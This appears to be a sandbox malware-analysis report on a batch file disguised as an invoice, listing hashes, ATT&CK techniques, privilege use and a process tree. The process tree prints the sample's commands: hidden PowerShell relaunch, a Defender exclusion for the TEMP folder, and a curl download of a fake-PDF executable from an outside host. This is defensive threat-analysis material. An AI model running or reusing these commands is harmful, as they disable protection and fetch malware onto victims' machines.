c8b46ae566a153436e277e3a44ec96f40b3ec4c36d80e0d73180d1a5a8180b3c

Analysis

max time kernel
150s
max time network
119s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 00:15

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General

Target
Invoice-2026.bat
Size 1KB
Sample260819-aj15csvxas
SHA256 c8b46ae566a153436e277e3a44ec96f40b3ec4c36d80e0d73180d1a5a8180b3c
MD5 d4195ad7ded5e0aac0dcb9e7aac81c05
SHA1 b924e9294b8c3e6ea6a2920393316bb33d73d3c4
SHA512 3c801ed20fd6fbf8fa3b4915c8741d15d528d146c4f0d7a90a8fa901967cba04705069772067cfaa819df0cf89a264d720b179ebe0038379cab68a8b1478a3f9
TLSH
T14911CBD3336A1A569F100BA581A6A303368E9F9A4BB4BBC6B0A621193C1931D4BC4C8C
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5056	powershell.exe
4144	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4340	cmd.exe
400	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe
Token: 36	4144	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4340 wrote to memory of 5056	4340	cmd.exe	89
PID 5056 wrote to memory of 400	5056	powershell.exe	90
PID 400 wrote to memory of 4144	400	cmd.exe	92
PID 400 wrote to memory of 4516	400	cmd.exe	94

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Invoice-2026.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -WindowStyle Hidden -FilePath 'C:\Users\Admin\AppData\Local\Temp\Invoice-2026.bat' -ArgumentList '--elevated'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Invoice-2026.bat" --elevated "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:TEMP -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4144
  - - C:\Windows\system32\curl.exe
      curl -L -o "C:\Users\Admin\AppData\Local\Temp\Invoice-2026.pdf.exe" "https://bufing-mod-deposit-valves.trycloudflare.com/Invoice-2026.pdf.exe"
      4⤵
      PID:4516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b4d2605b3421911dd23b203ceda3c674f6e4c59b93f9c9d10ef548e2461a3151
MD5 e6a8d33648820752b04254098d837621
SHA1 a24310e320c2b6dddfb808db69565d1ca0276e6d
SHA512 01180b5c095bfa465388173f8e0b8d234982aa4e1589058889727894e15834c54b89c46f7ba8d26582841986db1e038fbe38f813ac75419995eb7e0891a6a432
TLSH
T114115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D144B83F59ADE61260
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_424huj1h.uvr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_424huj1h.uvr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4144-23-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-17-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-32-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-30-0x000002AE47310000-0x000002AE4731A000-memory.dmp

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memory/4144-28-0x000002AE47230000-0x000002AE4724E000-memory.dmp

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memory/4144-29-0x000002AE47250000-0x000002AE47302000-memory.dmp

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memory/4144-16-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-24-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-13-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-14-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-15-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-22-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-21-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/4144-18-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-0-0x00007FF916AFF000-0x00007FF916B00000-memory.dmp

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memory/5056-11-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-5-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-12-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-4-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-9-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-8-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-7-0x00007FF916970000-0x00007FF917314000-memory.dmp

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memory/5056-3-0x000001789B260000-0x000001789B282000-memory.dmp

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memory/5056-6-0x00007FF916970000-0x00007FF917314000-memory.dmp

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